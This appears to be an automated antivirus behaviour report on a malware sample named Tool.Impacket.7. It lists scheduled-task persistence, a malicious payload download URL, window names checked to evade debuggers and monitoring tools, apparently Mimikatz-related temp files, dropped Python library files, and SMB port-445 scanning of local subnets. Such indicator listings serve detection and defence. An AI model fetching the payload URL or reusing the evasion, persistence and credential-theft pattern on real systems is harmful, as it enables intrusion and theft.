Tool.Impacket.7

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\autofree
<SYSTEM32>\tasks\autodnsscan

Malicious functions

Downloads

http://bing.protopower.icu/cok9.js

Searches for windows to

detect analytical utilities:

ClassName: 'OLLYDBG', WindowName: ''
ClassName: 'GBDYLLO', WindowName: ''
ClassName: 'pediy06', WindowName: ''
ClassName: 'FilemonClass', WindowName: ''
ClassName: '', WindowName: 'File Monitor - Sysinternals: www.sysinternals.com'
ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
ClassName: '', WindowName: 'Process Monitor - Sysinternals: www.sysinternals.com'
ClassName: 'RegmonClass', WindowName: ''
ClassName: '', WindowName: 'Registry Monitor - Sysinternals: www.sysinternals.com'

Modifies file system

Creates the following files

%TEMP%\_mei29802\cryptodome\cipher\_arc4.pyd
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tofbvartext.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tofbvarkey.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tofbsubtab.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tofbpermop.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tofbinvperm.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tofbmmt3.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tofbmmt2.rsp
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\sha3\shortmsgkat_shake256.txt
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tecbmmt3.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcfb8vartext.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcfb8varkey.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcfb8subtab.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcfb8permop.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcfb8invperm.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcfb8mmt3.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcfb8mmt2.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tecbmmt2.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcfb64vartext.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcfb64varkey.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\wycheproof\chacha20_poly1305_test.json
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\wycheproof\aes_gcm_test.json
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\sha3\shortmsgkat_shake128.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\sha3\shortmsgkat_sha3-512.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\sha3\shortmsgkat_sha3-384.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\sha3\shortmsgkat_sha3-256.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\sha3\shortmsgkat_sha3-224.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\sha2\sha512_256shortmsg.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\wycheproof\aes_siv_cmac_test.json
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\sha2\sha512_224shortmsg.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\wycheproof\aes_eax_test.json
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\blake2s\tv2.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\blake2s\tv1.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\blake2s\blake2s-test.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\blake2b\tv2.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\blake2b\tv1.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\blake2b\blake2b-test.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\sha2\sha512shortmsg.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8varkey128.rsp
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\sha1\sha1shortmsg.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcbcmmt2.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbmmt256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbmmt192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbmmt128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbmct256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbmct192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbmct128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbkeysbox256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcfb64invperm.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbkeysbox192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbgfsbox256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbgfsbox192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbgfsbox128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8vartxt256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8vartxt192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8vartxt128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8varkey256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbkeysbox128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcfb64subtab.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcfb64permop.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbvartxt128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbvarkey192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcfb64mmt3.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcfb64mmt2.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcbcvartext.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcbcvarkey.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcbcsubtab.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcbcpermop.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbvarkey256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcbcinvperm.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbvarkey128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\readme.txt
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\gcmencryptextiv128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\gcmdecrypt128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\readme.txt
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbvartxt256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\ofbvartxt192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\tdes\tcbcmmt3.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8varkey192.rsp
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\keccak\extremelylongmsgkat_224.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\keccak\shortmsgkat_384.txt
%TEMP%\_mei29802\cryptodome\util\_file_system.pyi
%TEMP%\_mei29802\cryptodome\util\_cpu_features.pyi
%TEMP%\_mei29802\cryptodome\util\rfc1751.pyi
%TEMP%\_mei29802\cryptodome\util\padding.pyi
%TEMP%\_mei29802\cryptodome\util\counter.pyi
%TEMP%\_mei29802\cryptodome\signature\pss.pyi
%TEMP%\_mei29802\cryptodome\signature\pkcs1_15.pyi
%TEMP%\_mei29802\cryptodome\selftest\signature\test_vectors\pkcs1-pss\sigverpss_186-3.rsp
%TEMP%\_mei29802\cryptodome\signature\pkcs1_v1_5.pyi
%TEMP%\_mei29802\cryptodome\signature\dss.pyi
%TEMP%\_mei29802\cryptodome\selftest\signature\test_vectors\wycheproof\rsa_signature_test.json
%TEMP%\_mei29802\cryptodome\selftest\signature\test_vectors\wycheproof\ecdsa_test.json
%TEMP%\_mei29802\cryptodome\selftest\signature\test_vectors\wycheproof\ecdsa_secp256r1_sha256_test.json
%TEMP%\_mei29802\cryptodome\selftest\signature\test_vectors\wycheproof\dsa_test.json
%TEMP%\_mei29802\cryptodome\selftest\signature\test_vectors\pkcs1-v1.5\sigver15_186-3.rsp
%TEMP%\_mei29802\cryptodome\selftest\signature\test_vectors\pkcs1-v1.5\siggen15_186-3.txt
%TEMP%\_mei29802\cryptodome\signature\pkcs1_pss.pyi
%TEMP%\_mei29802\cryptodome\selftest\signature\test_vectors\pkcs1-v1.5\siggen15_186-2.txt
%TEMP%\_mei29802\cryptodome\util\_raw_api.pyi
%TEMP%\_mei29802\future\backports\test\keycert.passwd.pem
%TEMP%\_mei29802\future\backports\test\ssl_key.pem
%TEMP%\_mei29802\future\backports\test\ssl_key.passwd.pem
%TEMP%\_mei29802\future\backports\test\ssl_cert.pem
%TEMP%\_mei29802\future\backports\test\sha256.pem
%TEMP%\_mei29802\future\backports\test\nullbytecert.pem
%TEMP%\_mei29802\future\backports\test\nokia.pem
%TEMP%\_mei29802\future\backports\test\keycert2.pem
%TEMP%\_mei29802\cryptodome\util\number.pyi
%TEMP%\_mei29802\cryptodome\util\asn1.pyi
%TEMP%\_mei29802\future\backports\test\https_svn_python_org_root.pem
%TEMP%\_mei29802\future\backports\test\dh512.pem
%TEMP%\_mei29802\future\backports\test\badkey.pem
%TEMP%\_mei29802\future\backports\test\badcert.pem
%TEMP%\_mei29802\cryptodome\__init__.pyi
%TEMP%\_mei29802\cryptodome\util\strxor.pyi
%TEMP%\_mei29802\cryptodome\util\py3compat.pyi
%TEMP%\_mei29802\future\backports\test\keycert.pem
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\keccak\extremelylongmsgkat_384.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\keccak\extremelylongmsgkat_256.txt
%TEMP%\_mei29802\cryptodome\selftest\signature\test_vectors\ecdsa\sigver.rsp
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\keccak\shortmsgkat_512.txt
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_private_enc_aes128.pem
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_private.pem
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_private.der
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\wycheproof\aes_cmac_test.json
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\keccak\readme.txt
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_private_enc_aes192.pem
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_private_enc_aes256_gcm.pem
%TEMP%\_mei29802\cryptodome\selftest\signature\test_vectors\pkcs1-pss\siggenpss_186-2.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\keccak\shortmsgkat_224.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\keccak\longmsgkat_512.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\keccak\longmsgkat_384.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\keccak\longmsgkat_256.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\keccak\longmsgkat_224.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\keccak\extremelylongmsgkat_512.txt
%TEMP%\_mei29802\cryptodome\selftest\hash\test_vectors\keccak\shortmsgkat_256.txt
%TEMP%\_mei29802\cryptodome\selftest\signature\test_vectors\pkcs1-pss\siggenpss_186-3.txt
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_private_enc_des3.pem
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_x509.der
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_x509.pem
%TEMP%\_mei29802\cryptodome\selftest\signature\test_vectors\ecdsa\readme.txt
%TEMP%\_mei29802\cryptodome\selftest\signature\test_vectors\dsa\fips_186_3_sigver.rsp
%TEMP%\_mei29802\cryptodome\selftest\signature\test_vectors\dsa\fips_186_3_siggen.txt
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\point-at-infinity.org-p256.txt
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\openssl_version.txt
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\gen_ecc_p256.sh
%TEMP%\_mei29802\cryptodome\selftest\signature\test_vectors\ecdsa\siggen.txt
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_private_p8.der
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_private_p8.pem
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_public_compressed.pem
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_public_compressed.der
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_public.pem
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_public.der
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_private_p8_clear.pem
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_private_p8_clear.der
%TEMP%\_mei29802\cryptodome\selftest\publickey\test_vectors\ecc\ecc_p256_public_openssh.txt
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8mmt256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8mmt192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8mmt128.rsp
%TEMP%\_mei29802\cryptodome\cipher\chacha20_poly1305.pyi
%TEMP%\_mei29802\cryptodome\cipher\chacha20.pyi
%TEMP%\_mei29802\cryptodome\cipher\cast.pyi
%TEMP%\_mei29802\cryptodome\cipher\blowfish.pyi
%TEMP%\_mei29802\cryptodome\cipher\arc4.pyi
%TEMP%\_mei29802\cryptodome\cipher\arc2.pyi
%TEMP%\_mei29802\cryptodome\cipher\des3.pyi
%TEMP%\_mei29802\cryptodome\cipher\aes.pyi
%TEMP%\_mei29802\select.pyd
%TEMP%\_mei29802\python27.dll
%TEMP%\_mei29802\pyexpat.pyd
%TEMP%\_mei29802\msvcr90.dll
%TEMP%\_mei29802\msvcp90.dll
%TEMP%\_mei29802\msvcm90.dll
%TEMP%\_mei29802\klmg.exe.manifest
%TEMP%\_mei29802\unicodedata.pyd
%TEMP%\_mei29802\bz2.pyd
%TEMP%\_mei29802\cryptodome\hash\md4.pyi
%TEMP%\_mei29802\_ssl.pyd
%TEMP%\_mei29802\cryptodome\hash\md2.pyi
%TEMP%\_mei29802\cryptodome\hash\hmac.pyi
%TEMP%\_mei29802\cryptodome\hash\cmac.pyi
%TEMP%\_mei29802\cryptodome\hash\blake2s.pyi
%TEMP%\_mei29802\cryptodome\hash\blake2b.pyi
%TEMP%\_mei29802\cryptodome\cipher\_mode_siv.pyi
%TEMP%\_mei29802\cryptodome\cipher\_mode_openpgp.pyi
%TEMP%\_mei29802\cryptodome\cipher\pkcs1_v1_5.pyi
%TEMP%\_mei29802\cryptodome\cipher\pkcs1_oaep.pyi
%TEMP%\_mei29802\cryptodome\cipher\_mode_gcm.pyi
%TEMP%\_mei29802\cryptodome\cipher\_mode_ecb.pyi
%TEMP%\_mei29802\cryptodome\cipher\_mode_eax.pyi
%TEMP%\_mei29802\cryptodome\cipher\_mode_ctr.pyi
%TEMP%\_mei29802\cryptodome\cipher\_mode_cfb.pyi
%TEMP%\_mei29802\cryptodome\cipher\_mode_ccm.pyi
%TEMP%\_mei29802\cryptodome\cipher\_mode_cbc.pyi
%TEMP%\_mei29802\cryptodome\cipher\_mode_ocb.pyi
%TEMP%\_mei29802\cryptodome\cipher\salsa20.pyi
%TEMP%\_mei29802\cryptodome\cipher\_mode_ofb.pyi
%TEMP%\_mei29802\_hashlib.pyd
%TEMP%\_mei29802\cryptodome\hash\_keccak.pyd
%TEMP%\_mei29802\cryptodome\cipher\_raw_ofb.pyd
%TEMP%\_mei29802\cryptodome\cipher\_raw_ocb.pyd
%TEMP%\_mei29802\cryptodome\cipher\_raw_ecb.pyd
%TEMP%\_mei29802\cryptodome\cipher\_raw_des3.pyd
%TEMP%\_mei29802\cryptodome\cipher\_raw_des.pyd
%TEMP%\_mei29802\cryptodome\cipher\_raw_ctr.pyd
%TEMP%\_mei29802\cryptodome\hash\_blake2s.pyd
%TEMP%\_mei29802\cryptodome\cipher\_raw_cfb.pyd
%TEMP%\_mei29802\cryptodome\cipher\_raw_cast.pyd
%TEMP%\_mei29802\cryptodome\cipher\_raw_blowfish.pyd
%TEMP%\_mei29802\cryptodome\cipher\_raw_arc2.pyd
%TEMP%\_mei29802\cryptodome\cipher\_raw_aesni.pyd
%TEMP%\_mei29802\cryptodome\cipher\_raw_aes.pyd
%TEMP%\_mei29802\cryptodome\cipher\_chacha20.pyd
%TEMP%\_mei29802\cryptodome\cipher\_salsa20.pyd
%TEMP%\_mei29802\cryptodome\cipher\_raw_cbc.pyd
%TEMP%\_mei29802\_socket.pyd
%TEMP%\_mei29802\cryptodome\hash\md5.pyi
%TEMP%\_mei29802\cryptodome\hash\_blake2b.pyd
%TEMP%\_mei29802\_ctypes.pyd
%TEMP%\_mei29802\microsoft.vc90.crt.manifest
%TEMP%\_mei29802\cryptodome\util\_strxor.pyd
%TEMP%\_mei29802\cryptodome\util\_cpuid_c.pyd
%TEMP%\_mei29802\cryptodome\protocol\_scrypt.pyd
%TEMP%\_mei29802\cryptodome\math\_montgomery.pyd
%TEMP%\_mei29802\cryptodome\hash\_poly1305.pyd
%TEMP%\_mei29802\cryptodome\hash\_md4.pyd
%TEMP%\_mei29802\cryptodome\hash\_md2.pyd
%TEMP%\_mei29802\cryptodome\hash\_ghash_clmul.pyd
%TEMP%\_mei29802\cryptodome\hash\_sha512.pyd
%TEMP%\_mei29802\cryptodome\hash\_sha384.pyd
%TEMP%\_mei29802\cryptodome\hash\_sha256.pyd
%TEMP%\_mei29802\cryptodome\hash\_sha224.pyd
%TEMP%\_mei29802\cryptodome\hash\_sha1.pyd
%TEMP%\_mei29802\cryptodome\hash\_ripemd160.pyd
%TEMP%\_mei29802\cryptodome\hash\_ghash_portable.pyd
%TEMP%\_mei29802\cryptodome\hash\_md5.pyd
%TEMP%\_mei29802\cryptodome\cipher\des.pyi
%TEMP%\_mei29802\cryptodome\hash\poly1305.pyi
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128mct128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbcvartxt256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128keysbox256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128keysbox192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128keysbox128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128gfsbox256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128gfsbox192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128gfsbox128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbcmct128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128mct192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbcmct256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbcvarkey256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbcvarkey192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbcvarkey128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbcmmt256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbcmmt192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbcmmt128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbcvartxt128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbcvartxt192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128mct256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8gfsbox128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8gfsbox192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8mct192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8mct128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8keysbox256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8keysbox192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8keysbox128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8gfsbox256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb8mct256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128mmt128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128mmt192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128vartxt192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128vartxt128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128varkey256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128varkey192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128varkey128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128mmt256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cfb128vartxt256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbcmct192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbckeysbox256.rsp
%TEMP%\_mei29802\cryptodome\hash\ripemd.pyi
%TEMP%\_mei29802\cryptodome\io\pem.pyi
%TEMP%\_mei29802\cryptodome\hash\keccak.pyi
%TEMP%\_mei29802\cryptodome\hash\shake256.pyi
%TEMP%\_mei29802\cryptodome\hash\shake128.pyi
%TEMP%\_mei29802\cryptodome\hash\sha512.pyi
%TEMP%\_mei29802\cryptodome\hash\sha3_512.pyi
%TEMP%\_mei29802\cryptodome\io\_pbes.pyi
%TEMP%\_mei29802\cryptodome\hash\sha3_384.pyi
%TEMP%\_mei29802\cryptodome\hash\sha3_224.pyi
%TEMP%\_mei29802\cryptodome\hash\sha384.pyi
%TEMP%\_mei29802\cryptodome\hash\sha256.pyi
%TEMP%\_mei29802\cryptodome\hash\sha224.pyi
%TEMP%\_mei29802\cryptodome\hash\sha1.pyi
%TEMP%\_mei29802\cryptodome\hash\sha.pyi
%TEMP%\_mei29802\cryptodome\hash\ripemd160.pyi
%TEMP%\_mei29802\cryptodome\hash\sha3_256.pyi
%TEMP%\_mei29802\cryptodome\math\numbers.pyi
%TEMP%\_mei29802\cryptodome\io\pkcs8.pyi
%TEMP%\_mei29802\cryptodome\math\primality.pyi
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbckeysbox192.rsp
%TEMP%\_mei29802\cryptodome\publickey\elgamal.pyi
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbckeysbox128.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbcgfsbox256.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbcgfsbox192.rsp
%TEMP%\_mei29802\cryptodome\selftest\cipher\test_vectors\aes\cbcgfsbox128.rsp
%TEMP%\_mei29802\cryptodome\random\random.pyi
%TEMP%\_mei29802\cryptodome\random\__init__.pyi
%TEMP%\_mei29802\cryptodome\publickey\rsa.pyi
%TEMP%\_mei29802\cryptodome\publickey\ecc.pyi
%TEMP%\_mei29802\cryptodome\math\_integerbase.pyi
%TEMP%\_mei29802\cryptodome\publickey\dsa.pyi
%TEMP%\_mei29802\cryptodome\protocol\__init__.pyi
%TEMP%\_mei29802\cryptodome\protocol\secretsharing.pyi
%TEMP%\_mei29802\cryptodome\protocol\kdf.pyi
%TEMP%\_mei29802\cryptodome\math\_integernative.pyi
%TEMP%\_mei29802\cryptodome\math\_integergmp.pyi
%TEMP%\_mei29802\cryptodome\math\_integercustom.pyi
%WINDIR%\temp\m.ps1
%WINDIR%\temp\mkatz.ini

Deletes the following files

%WINDIR%\temp\mkatz.ini

Network activity

Connects to

'<LOCALNET_GATEWAY>':445
'<LOCALNET>.61.252':445
'<LOCALNET>.61.253':445
'<LOCALNET>.61.254':445
'<LOCALNET>.1.1':445
'<LOCALNET>.1.2':445
'<LOCALNET>.1.3':445
'<LOCALNET>.1.4':445
'<LOCALNET>.1.5':445
'<LOCALNET>.1.6':445
'<LOCALNET>.1.8':445
'<LOCALNET>.1.18':445
'<LOCALNET>.1.9':445
'<LOCALNET>.1.10':445
'<LOCALNET>.1.11':445
'<LOCALNET>.1.12':445
'<LOCALNET>.1.13':445
'<LOCALNET>.1.14':445
'<LOCALNET>.1.15':445
'<LOCALNET>.1.16':445
'<LOCALNET>.1.17':445
'<LOCALNET>.61.251':445
'<LOCALNET>.1.7':445
'<LOCALNET>.61.250':445
'<LOCALNET>.61.237':445
'<LOCALNET>.61.228':445
'<LOCALNET>.61.229':445
'<LOCALNET>.61.230':445
'<LOCALNET>.61.231':445
'<LOCALNET>.61.232':445
'<LOCALNET>.61.233':445
'<LOCALNET>.61.234':445
'<LOCALNET>.61.235':445
'<LOCALNET>.61.236':445
'<LOCALNET>.61.238':445
'<LOCALNET>.61.248':445
'<LOCALNET>.61.239':445
'<LOCALNET>.61.240':445
'<LOCALNET>.61.241':445
'<LOCALNET>.61.242':445
'<LOCALNET>.61.243':445
'<LOCALNET>.61.244':445
'<LOCALNET>.61.245':445
'<LOCALNET>.61.246':445
'<LOCALNET>.61.247':445
'<LOCALNET>.61.249':445
'<LOCALNET>.1.32':445
'<LOCALNET>.1.66':445
'<LOCALNET>.1.21':445
'<LOCALNET>.1.46':445
'<LOCALNET>.1.47':445
'<LOCALNET>.1.48':445
'<LOCALNET>.1.49':445
'<LOCALNET>.1.50':445
'<LOCALNET>.1.51':445
'<LOCALNET>.1.52':445
'<LOCALNET>.1.53':445
'<LOCALNET>.1.54':445
'<LOCALNET>.1.56':445
'<LOCALNET>.1.20':445
'<LOCALNET>.1.57':445
'<LOCALNET>.1.58':445
'<LOCALNET>.1.59':445
'<LOCALNET>.1.60':445
'<LOCALNET>.1.61':445
'<LOCALNET>.1.62':445
'<LOCALNET>.1.63':445
'<LOCALNET>.1.64':445
'<LOCALNET>.1.65':445
'<LOCALNET>.1.45':445
'<LOCALNET>.61.227':445
'<LOCALNET>.1.44':445
'<LOCALNET>.1.31':445
'<LOCALNET>.1.22':445
'<LOCALNET>.1.23':445
'<LOCALNET>.1.24':445
'<LOCALNET>.1.25':445
'<LOCALNET>.1.26':445
'<LOCALNET>.1.27':445
'<LOCALNET>.1.28':445
'<LOCALNET>.1.29':445
'<LOCALNET>.1.30':445
'<LOCALNET>.1.19':445
'<LOCALNET>.1.42':445
'<LOCALNET>.1.33':445
'<LOCALNET>.1.34':445
'<LOCALNET>.1.35':445
'<LOCALNET>.1.36':445
'<LOCALNET>.1.37':445
'<LOCALNET>.1.38':445
